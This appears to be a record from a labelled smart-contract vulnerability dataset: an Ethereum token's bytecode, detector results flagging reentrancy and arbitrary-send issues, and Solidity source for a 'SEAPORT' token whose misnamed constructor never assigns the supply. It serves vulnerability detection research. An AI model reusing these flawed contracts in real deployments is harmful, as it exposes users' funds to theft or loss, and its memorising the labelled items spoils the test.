910390f35b34801561025357600080fd5b50610267610262366004611a7a565b61069d565b604051901515815260200161023e565b34801561028357600080fd5b50601354610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50670de0b6b3a76400005b60405190815260200161023e565b3480156102e057600080fd5b506102676102ef366004611aa6565b6106b4565b34801561030057600080fd5b506102c660175481565b34801561031657600080fd5b506040516009815260200161023e565b34801561033257600080fd5b50601454610297906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611ae7565b61071d565b34801561037257600080fd5b506101fc610381366004611b14565b610768565b34801561039257600080fd5b506101fc6107b0565b3480156103a757600080fd5b506102c66103b6366004611ae7565b6107dd565b3480156103c757600080fd5b506101fc6107ff565b3480156103dc57600080fd5b506101fc6103eb366004611b2f565b610873565b3480156103fc57600080fd5b506102c660155481565b34801561041257600080fd5b506102c6610421366004611ae7565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610297565b34801561045d57600080fd5b506101fc61046c366004611b14565b6108b5565b34801561047d57600080fd5b506102c660165481565b34801561049357600080fd5b506040805180820190915260038152624b454b60e81b6020820152610231565b3480156104bf57600080fd5b506101fc6104ce366004611b2f565b610914565b3480156104df57600080fd5b506101fc6104ee366004611b48565b610943565b3480156104ff57600080fd5b5061026761050e366004611a7a565b61099d565b34801561051f57600080fd5b5061026761052e366004611ae7565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc6109aa565b34801561056457600080fd5b506101fc610573366004611b7a565b6109e0565b34801561058457600080fd5b506102c6610593366004611bfe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b2f565b610a81565b3480156105ea57600080fd5b506101fc6105f9366004611ae7565b610ab0565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c37565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c6c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c98565b915050610634565b5050565b60006106aa338484610b9a565b5060015b92915050565b60006106c1848484610cbe565b610713843361070e85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111fa565b610b9a565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c37565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c37565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107d057600080fd5b476107da81611234565b50565b6001600160a01b0381166000908152600260205260408120546106ae9061126e565b6000546001600160a01b031633146108295760405162461bcd60e51b815260040161062890611c37565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089d5760405162461bcd60e51b815260040161062890611c37565b6611c37937e0800081116108b057600080fd5b601555565b6000546001600160a01b031633146108df5760405162461bcd60e51b815260040161062890611c37565b601454600160a01b900460ff16156108f657600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260040161062890611c37565b601755565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161062890611c37565b600954821115806109805750600b548111155b61098957600080fd5b600893909355600a91909155600955600b55565b60006106aa338484610cbe565b6012546001600160a01b0316336001600160a01b0316146109ca57600080fd5b60006109d5306107dd565b90506107da816112f2565b6000546001600160a01b03163314610a0a5760405162461bcd60e51b815260040161062890611c37565b60005b82811015610a7b578160056000868685818110610a2c57610a2c611c6c565b9050602002016020810190610a419190611ae7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7381611c98565b915050610a0d565b50505050565b6000546001600160a01b03163314610aab5760405162461bcd60e51b815260040161062890611c37565b601655565b6000546001600160a01b03163314610ada5760405162461bcd60e51b815260040161062890611c37565b6001600160a01b038116610b3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610de65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e1257506000546001600160a01b03838116911614155b156110f357601454600160a01b900460ff16610eab576000546001600160a01b03848116911614610eab5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601554811115610efd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3f57506001600160a01b03821660009081526010602052604090205460ff16155b610f975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6014546001600160a01b0383811691161461101c5760165481610fb9846107dd565b610fc39190611cb1565b1061101c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b6000611027306107dd565b6017546015549192508210159082106110405760155491505b8080156110575750601454600160a81b900460ff16155b801561107157506014546001600160a01b03868116911614155b80156110865750601454600160b01b900460ff165b80156110ab57506001600160a01b03851660009081526005602052604090205460ff16155b80156110d057506001600160a01b03841660009081526005602052604090205460ff16155b156110f0576110de826112f2565b4780156110ee576110ee47611234565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113557506001600160a01b03831660009081526005602052604090205460ff165b8061116757506014546001600160a01b0385811691161480159061116757506014546001600160a01b03848116911614155b15611174575060006111ee565b6014546001600160a01b03858116911614801561119f57506013546001600160a01b03848116911614155b156111b157600854600c55600954600d555b6014546001600160a01b0384811691161480156111dc57506013546001600160a01b03858116911614155b156111ee57600a54600c55600b54600d555b610a7b8484848461146c565b6000818484111561121e5760405162461bcd60e51b81526004016106289190611a25565b50600061122b8486611cc9565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112d55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112df61149a565b90506112eb83826114bd565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133a5761133a611c6c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611ce0565b816001815181106113ca576113ca611c6c565b6001600160a01b0392831660209182029290920101526013546113f09130911684610b9a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611cfd565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a7b57610a7b600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611664565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611692565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116ef565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a09086611731565b6001600160a01b0389166000908152600260205260409020556115c281611790565b6115cc84836117da565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163f82826114bd565b82101561165b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116855760405162461bcd60e51b81526004016106289190611a25565b50600061122b8486611d6e565b60008060008060008060008060006116af8a600c54600d546117fe565b92509250925060006116bf61149a565b905060008060006116d28e878787611853565b919e509c509a509598509396509194505050505091939550919395565b60006112eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fa565b60008061173e8385611cb1565b9050838110156112eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b600061179a61149a565b905060006117a883836118a3565b306000908152600260205260409020549091506117c59082611731565b30600090815260026020526040902055505050565b6006546117e790836116ef565b6006556007546117f79082611731565b6007555050565b6000808080611818606461181289896118a3565b906114bd565b9050600061182b60646118128a896118a3565b905060006118438261183d8b866116ef565b906116ef565b9992985090965090945050505050565b600080808061186288866118a3565b9050600061187088876118a3565b9050600061187e88886118a3565b905060006118908261183d86866116ef565b939b939a50919850919650505050505050565b6000826000036118b5575060006106ae565b60006118c18385611d90565b9050826118ce8583611d6e565b146112eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107da57600080fd5b803561195b8161193b565b919050565b6000602080838503121561197357600080fd5b823567ffffffffffffffff8082111561198b57600080fd5b818501915085601f83011261199f57600080fd5b8135818111156119b1576119b1611925565b8060051b604051601f19603f830116810181811085821117156119d6576119d6611925565b6040529182528482019250838101850191888311156119f457600080fd5b938501935b82851015611a1957611a0a85611950565b845293850193928501926119f9565b98975050505050505050565b600060208083528351808285015260005b81811015611a5257858101830151858201604001528201611a36565b81811115611a64576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8d57600080fd5b8235611a988161193b565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b8335611ac68161193b565b92506020840135611ad68161193b565b929592945050506040919091013590565b600060208284031215611af957600080fd5b81356112eb8161193b565b8035801515811461195b57600080fd5b600060208284031215611b2657600080fd5b6112eb82611b04565b600060208284031215611b4157600080fd5b5035919050565b60008060008060808587031215611b5e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8f57600080fd5b833567ffffffffffffffff80821115611ba757600080fd5b818601915086601f830112611bbb57600080fd5b813581811115611bca57600080fd5b8760208260051b8501011115611bdf57600080fd5b602092830195509350611bf59186019050611b04565b90509250925092565b60008060408385031215611c1157600080fd5b8235611c1c8161193b565b91506020830135611c2c8161193b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611caa57611caa611c82565b5060010190565b60008219821115611cc457611cc4611c82565b500190565b600082821015611cdb57611cdb611c82565b500390565b600060208284031215611cf257600080fd5b81516112eb8161193b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4d5784516001600160a01b031683529383019391830191600101611d28565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daa57611daa611c82565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220057edb685e59a84e0b8bacba3f9c17ba5736690e46bc89f689e78fc64347eec264736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,059
0x1a699c9d8a34f7a60328bf5f3a3dbf10a3ad5baf
pragma solidity ^0.4.21 ; contract SEAPORT_Portfolio_II_883 { mapping (address => uint256) public balanceOf; string public name = " SEAPORT_Portfolio_II_883 " ; string public symbol = " SEAPORT883II " ; uint8 public decimals = 18 ; uint256 public totalSupply = 1237146528101310000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender&#39;s balance balanceOf[to] += value; // add to recipient&#39;s balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d&#39;&#233;mission - Lignes 1 &#224; 10 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_II_metadata_line_1_____Krasnoyarsk_Port_Spe_Value_20250515 > // < h5SSYTs2kmePD4Y24CVf36v656xiVi3EhF981CSxdANmjKPn3uy1DYH6Z7v4zZRZ > // < 1E-018 limites [ 1E-018 ; 37320542,1292223 ] > // < 0x000000000000000000000000000000000000000000000000000000000038F256 > // < SEAPORT_Portfolio_II_metadata_line_2_____Kronshtadt_Port_Spe_Value_20250515 > // < 9gEFYns3mYVmNRZr2Co6eu0a13bJqBLGop717pGgkV7yIJmmfz4gi08Ln76Kvjis > // < 1E-018 limites [ 37320542,1292223 ; 63307677,211098 ] > // < 0x000000000000000000000000000000000000000000000000000038F256609990 > // < SEAPORT_Portfolio_II_metadata_line_3_____Labytnangi_Port_Spe_Value_20250515 > // < Xru6aEANhlsc2W18Yd5oA995211nPXGW13Fk5393r27k982pl2T2g7DpOOwGP25a > // < 1E-018 limites [ 63307677,211098 ; 89982439,5165861 ] > // < 0x0000000000000000000000000000000000000000000000000000609990894D64 > // < SEAPORT_Portfolio_II_metadata_line_4_____Lazarev_Port_Spe_Value_20250515 > // < awE3old1bF86K0jS5Ico5C4KfbD9IA02C6pq2OY2tEl27PkirKxJ7ohhGYmxyghV > // < 1E-018 limites [ 89982439,5165861 ; 139812199,062043 ] > // < 0x0000000000000000000000000000000000000000000000000000894D64D55624 > // < SEAPORT_Portfolio_II_metadata_line_5_____Lomonosov_Port_Authority_20250515 > // < rVH50sWM27pL0ZyOCf0i8I7Z6TQ5gv69k1hK52bl3O6S4t67j72Rv2d7Xcv3Eu80 > // < 1E-018 limites [ 139812199,062043 ; 163481566,546536 ] > // < 0x0000000000000000000000000000000000000000000000000000D55624F973FD > // < SEAPORT_Portfolio_II_metadata_line_6_____Magadan_Port_Authority_20250515 > // < qM8W86q6edy1YXX6gX5cPf1jUPDE5c69f02pAqYrvJGTOHq3o4142qQTxzFUjvXs > // < 1E-018 limites [ 163481566,546536 ; 193865163,448014 ] > // < 0x000000000000000000000000000000000000000000000000000F973FD127D094 > // < SEAPORT_Portfolio_II_metadata_line_7_____Mago_Port_Spe_Value_20250515 > // < Z42Tr58FTcP8MB1uh3OMj74cz26JKnSQmm0mZy0zsa6920885YsyUH8y3J1BYkVj > // < 1E-018 limites [ 193865163,448014 ; 220149891,185153 ] > // < 0x00000000000000000000000000000000000000000000000000127D09414FEC0D > // < SEAPORT_Portfolio_II_metadata_line_8_____Makhachkala_Sea_Trade_Port_20250515 > // < i5I2Cw4qj5lKGV6uIqM5xUvc5AuXi0gkq21nnblN7M1gwS5UW3g7xmNJ3sKQpunp > // < 1E-018 limites [ 220149891,185153 ; 261225008,518097 ] > // < 0x0000000000000000000000000000000000000000000000000014FEC0D18E9905 > // < SEAPORT_Portfolio_II_metadata_line_9_____Makhachkala_Port_Spe_Value_20250515 > // < Q3ckL8Mj7PL8XLMSnNyfY6856ESL3xS44P4e2I4PxS96WrZ31lOy9O0nFf6GF5bb > // < 1E-018 limites [ 261225008,518097 ; 308090672,705512 ] > // < 0x0000000000000000000000000000000000000000000000000018E99051D61BEB > // < SEAPORT_Portfolio_II_metadata_line_10_____Mezen_Port_Authority_20250515 > // < 6ULIZVCGDH0Y305xtvU8717ZmQs57a3t8ZW46w1UeD5JWq3aqt16k0JgDvw6S76H > // < 1E-018 limites [ 308090672,705512 ; 339325554,308506 ] > // < 0x000000000000000000000000000000000000000000000000001D61BEB205C50B > // Programme d&#39;&#233;mission - Lignes 11 &#224; 20 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_II_metadata_line_11_____Moscow_Port_Spe_Value_20250515 > // < f63o1699ulpM3g5A35c85S2xoo940ytDaMI2MXnR8316E2tE9akDeQ70SK264a4Z > // < 1E-018 limites [ 339325554,308506 ; 357800137,979412 ] > // < 0x00000000000000000000000000000000000000000000000000205C50B221F5AE > // < SEAPORT_Portfolio_II_metadata_line_12_____Murmansk_Port_Authority_20250515 > // < tw04a2AQVW38tZ1v3fGlZDUjU1aU2In0yz0nLzPHfYdiJUQgizaQuKwlvqAWlI31 > // < 1E-018 limites [ 357800137,979412 ; 406854841,491244 ] > // < 0x00000000000000000000000000000000000000000000000000221F5AE26CCFAC > // < SEAPORT_Portfolio_II_metadata_line_13_____Murom_Port_Spe_Value_20250515 > // < 53jhs8R0au0fxk7K2joi0tr5QO7j2H058V7XECd05o06Y8O19D5Z5Hl52WZLrM22 > // < 1E-018 limites [ 406854841,491244 ; 443427177,101728 ] > // < 0x0000000000000000000000000000000000000000000000000026CCFAC2A49DBE > // < SEAPORT_Portfolio_II_metadata_line_14_____Commercial_Port_Livadia_Limited_20250515 > // < 0tUWuO1rJ4nzkkyFX35JCaHJIN1hlSFh22546epnsW1BXbmJaH5XQv6rMC8DJd6A > // < 1E-018 limites [ 443427177,101728 ; 463905140,849857 ] > // < 0x000000000000000000000000000000000000000000000000002A49DBE2C3DCF2 > // < SEAPORT_Portfolio_II_metadata_line_15_____Joint_Stock_Company_Nakhodka_Commercial_Sea_Port_20250515 > // < AUPJVPHjWUvzuxI8nHdY0wd92g38kBaXFb1yUluN11obw2epg7szE5b5ImI38I79 > // < 1E-018 limites [ 463905140,849857 ; 481984275,352298 ] > // < 0x000000000000000000000000000000000000000000000000002C3DCF22DF731C > // < SEAPORT_Portfolio_II_metadata_line_16_____Naryan_Mar_Port_Authority_20250515 > // < dczZPArMGJXa9MCGp7z92pQk5pUq0Wb8cj3PTyTE1d0v6LBV316v1044CtK5jvDd > // < 1E-018 limites [ 481984275,352298 ; 531578837,126971 ] > // < 0x000000000000000000000000000000000000000000000000002DF731C32B1FFC > // < SEAPORT_Portfolio_II_metadata_line_17_____Nevelsk_Port_Authority_20250515 > // < 02vb2HVTtjn9QAuJFcaj7ny2bYE3U4FJ7c71J4BDxQL2XB9Yz4G1n9LOWg6yzmWC > // < 1E-018 limites [ 531578837,126971 ; 557174543,429669 ] > // < 0x0000000000000000000000000000000000000000000000000032B1FFC3522E4E > // < SEAPORT_Portfolio_II_metadata_line_18_____Nikolaevsk_on_Amur_Sea_Port_20250515 > // < 6hHsg522eEx606SVLV2uFKz1HGX81485dl956a15RPO8S4SQ1p3y0vzQ0782Ad55 > // < 1E-018 limites [ 557174543,429669 ; 575206028,05771 ] > // < 0x000000000000000000000000000000000000000000000000003522E4E36DB1DB > // < SEAPORT_Portfolio_II_metadata_line_19_____Nizhnevartovsk_Port_Spe_Value_20250515 > // < 2lr55a96dU44MtSB46JdYQ93IoRJS2nEO75viFqRwD9pVxt875kfRX9ZM3Ut27p8 > // < 1E-018 limites [ 575206028,05771 ; 594874048,878873 ] > // < 0x0000000000000000000000000000000000000000000000000036DB1DB38BB4AD > // < SEAPORT_Portfolio_II_metadata_line_20_____Novgorod_Port_Spe_Value_20250515 > // < Jpk37o34i8Tz2W5aAMAUAL2Dm3DYk9UG0Ia4iAroj7U9S7nn5x6o32a30Pn8x9Sh > // < 1E-018 limites [ 594874048,878873 ; 628074436,103043 ] > // < 0x0000000000000000000000000000000000000000000000000038BB4AD3BE5D94 > // Programme d&#39;&#233;mission - Lignes 21 &#224; 30 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_II_metadata_line_21_____JSC_Novoroslesexport_20250515 > // < 2EIQ603mo52CchA78eht4PMp4k005h7hJVy25r40y341Rn3v2nWq213A8SoTKV7F > // < 1E-018 limites [ 628074436,103043 ; 646358470,451486 ] > // < 0x000000000000000000000000000000000000000000000000003BE5D943DA43C7 > // < SEAPORT_Portfolio_II_metadata_line_22_____Novorossiysk_Port_Spe_Value_20250515 > // < V0CszlxzvIIS99KPctnEO58Kn1ooJzuwQ0KFN7Ix4Z72ZUAIm380Miz0f6y1vR1T > // < 1E-018 limites [ 646358470,451486 ; 677653565,992141 ] > // < 0x000000000000000000000000000000000000000000000000003DA43C740A046D > // < SEAPORT_Portfolio_II_metadata_line_23_____Novosibirsk_Port_Spe_Value_20250515 > // < aJK7jan1p1qmsFuH1A89U9SBS54767c7f4UFYK6I7JMdsyfG1qK8Cd8F4keiWeXo > // < 1E-018 limites [ 677653565,992141 ; 719692467,807047 ] > // < 0x0000000000000000000000000000000000000000000000000040A046D44A29DF > // < SEAPORT_Portfolio_II_metadata_line_24_____Olga_Port_Authority_20250515 > // < BSqF34P8HHdyz0aPRbtFUkXCJtDAHeVX6B836ABR25VOc0TD9O5kzN3KQOCTwXqc > // < 1E-018 limites [ 719692467,807047 ; 737548084,916969 ] > // < 0x0000000000000000000000000000000000000000000000000044A29DF46568B8 > // < SEAPORT_Portfolio_II_metadata_line_25_____Omsk_Port_Spe_Value_20250515 > // < 5w6lhE59DKRkY9P8slXI0Sjs64FIDJ8Cm16QgV7mMuqS8WT52qIaWZXBO4fg86u1 > // < 1E-018 limites [ 737548084,916969 ; 759810912,351829 ] > // < 0x0000000000000000000000000000000000000000000000000046568B84876123 > // < SEAPORT_Portfolio_II_metadata_line_26_____Onega_Port_Authority_20250515 > // < YSG01HIHRUhOp6ed2bf84CnF24C23BQJlmK41c23QVibW109BLyh2c5enFy9D73M > // < 1E-018 limites [ 759810912,351829 ; 780183689,534782 ] > // < 0x0000000000000000000000000000000000000000000000000048761234A67741 > // < SEAPORT_Portfolio_II_metadata_line_27_____Perm_Port_Spe_Value_20250515 > // < PWVDj6Ao78XGuNZsLa4SIAH63k61EdY7MzbR3YIQvt7R73Xv9cmo4MrXX84jjzuD > // < 1E-018 limites [ 780183689,534782 ; 801253812,266948 ] > // < 0x000000000000000000000000000000000000000000000000004A677414C69DC5 > // < SEAPORT_Portfolio_II_metadata_line_28_____Petropavlovsk_Kamchatskiy_Port_Spe_Value_20250515 > // < Nu4m0TsLFT6fXc4aB69wcCa8m5Ro8ch916zh8c20ig7w6p2Frv43xD4ADInDk7j6 > // < 1E-018 limites [ 801253812,266948 ; 827411237,378695 ] > // < 0x000000000000000000000000000000000000000000000000004C69DC54EE8784 > // < SEAPORT_Portfolio_II_metadata_line_29_____Marine_Administration_of_Chukotka_Ports_20250515 > // < WnWH20C8oUt144TfjX1A9uQJGnX2c7rs2KZ92uDrxCd8QwgyPqRnco8R8tFJxRUh > // < 1E-018 limites [ 827411237,378695 ; 870217680,336145 ] > // < 0x000000000000000000000000000000000000000000000000004EE878452FD8C8 > // < SEAPORT_Portfolio_II_metadata_line_30_____Poronaysk_Port_Authority_20250515 > // < 6C2Ok3lsS6SujuvJp2tr7URVi1U8R1ieRa9J2Cr03O1A4vtOIv8qziDQ43oBCkoj > // < 1E-018 limites [ 870217680,336145 ; 918218705,158242 ] > // < 0x0000000000000000000000000000000000000000000000000052FD8C8579172F > // Programme d&#39;&#233;mission - Lignes 31 &#224; 40 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_II_metadata_line_31_____Marine_Administration_of_Vladivostok_Port_Posyet_Branch_20250515 > // < gn7W7X0nt1cDiNpm70BhSDB78eHim5DO110Z70g2B803pEJy2bM4lyA7K2CxL691 > // < 1E-018 limites [ 918218705,158242 ; 951723027,399514 ] > // < 0x00000000000000000000000000000000000000000000000000579172F5AC36CF > // < SEAPORT_Portfolio_II_metadata_line_32_____Primorsk_Port_Authority_20250515 > // < FHrzkjop8S6IzdqCC4JQAbF43p1KpJqclm2eb7uXy3LKY5HCLdmV4QWLD4yA7y4w > // < 1E-018 limites [ 951723027,399514 ; 996989921,879143 ] > // < 0x000000000000000000000000000000000000000000000000005AC36CF5F14930 > // < SEAPORT_Portfolio_II_metadata_line_33_____Marine_Administration_of_Chukotka_Ports_20250515 > // < 4hucRUr8cxdbQb1W4vC3Rrae7E8qf9V2C3KOjTtDN5UCE9h3pUQdos8B5F9ELf4c > // < 1E-018 limites [ 996989921,879143 ; 1027322346,81577 ] > // < 0x000000000000000000000000000000000000000000000000005F1493061F91CB > // < SEAPORT_Portfolio_II_metadata_line_34_____Rostov_on_Don_Port_Spe_Value_20250515 > // < 3u87h559hKDY2iIs5lI0695LXY0I89dtCF3w9ucbOuU3o67cuzQg1C7L6i0O5moM > // < 1E-018 limites [ 1027322346,81577 ; 1045446214,78618 ] > // < 0x0000000000000000000000000000000000000000000000000061F91CB63B396D > // < SEAPORT_Portfolio_II_metadata_line_35_____Ryazan_Port_Spe_Value_20250515 > // < 6vnQ3A57fJKBJ3fxscj4L36w1Rd2Cz30M1h60W2MWQOpfp1iii20gCU60YAu96j6 > // < 1E-018 limites [ 1045446214,78618 ; 1089690487,88297 ] > // < 0x0000000000000000000000000000000000000000000000000063B396D67EBC59 > // < SEAPORT_Portfolio_II_metadata_line_36_____Salekhard_Port_Spe_Value_20250515 > // < bGtQ9J7y2OSWc86V0cOT9ZDxx6RU31p3WFzL0M421J0VO692dHJNPGNuW3PiC049 > // < 1E-018 limites [ 1089690487,88297 ; ] > // < 0x0000000000000000000000000000000000000000000000000067EBC596ACCA4B > // < SEAPORT_Portfolio_II_metadata_line_37_____Samara_Port_Spe_Value_20250515 > // < 4ckNE5Ax1t3cdA62hXuz6GaS8mM6FXCZBl18LygwjHh53j91G09ZPCxgUTIT26Ep > // < 1E-018 limites [ 1119872753,76494 ; 1147835076,7578 ] > // < 0x000000000000000000000000000000000000000000000000006ACCA4B6D77514 > // < SEAPORT_Portfolio_II_metadata_line_38_____Saratov_Port_Spe_Value_20250515 > // < f5clcyPy3bdaaT6bU1O2BuW6AvRsXVm5s8D6Y98HBDxzvbu29MpYSt2sh8d67DzM > // < 1E-018 limites [ 1147835076,7578 ; 1186968862,49198 ] > // < 0x000000000000000000000000000000000000000000000000006D775147132BB6 > // < SEAPORT_Portfolio_II_metadata_line_39_____Sarepta_Port_Spe_Value_20250515 > // < 408ueC5iaKuug4Aab9184UPd2TGUIl9Y7rN0qqcy82hSjyA4i7t691j9DVU9uKmk > // < 1E-018 limites [ 1186968862,49198 ; 1218380341,25779 ] > // < 0x000000000000000000000000000000000000000000000000007132BB674319D2 > // < SEAPORT_Portfolio_II_metadata_line_40_____Serpukhov_Port_Spe_Value_20250515 > // < 4qkl5vDgV9A0i1a2vHIO8LgU2oTVgUj4f89eJiDw199ZkgEVd8S48sn25pj7O58q > // < 1E-018 limites [ 1218380341,25779 ; 1237146528,10131 ] > // < 0x0000000000000000000000000000000000000000000000000074319D275FBC5D > }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190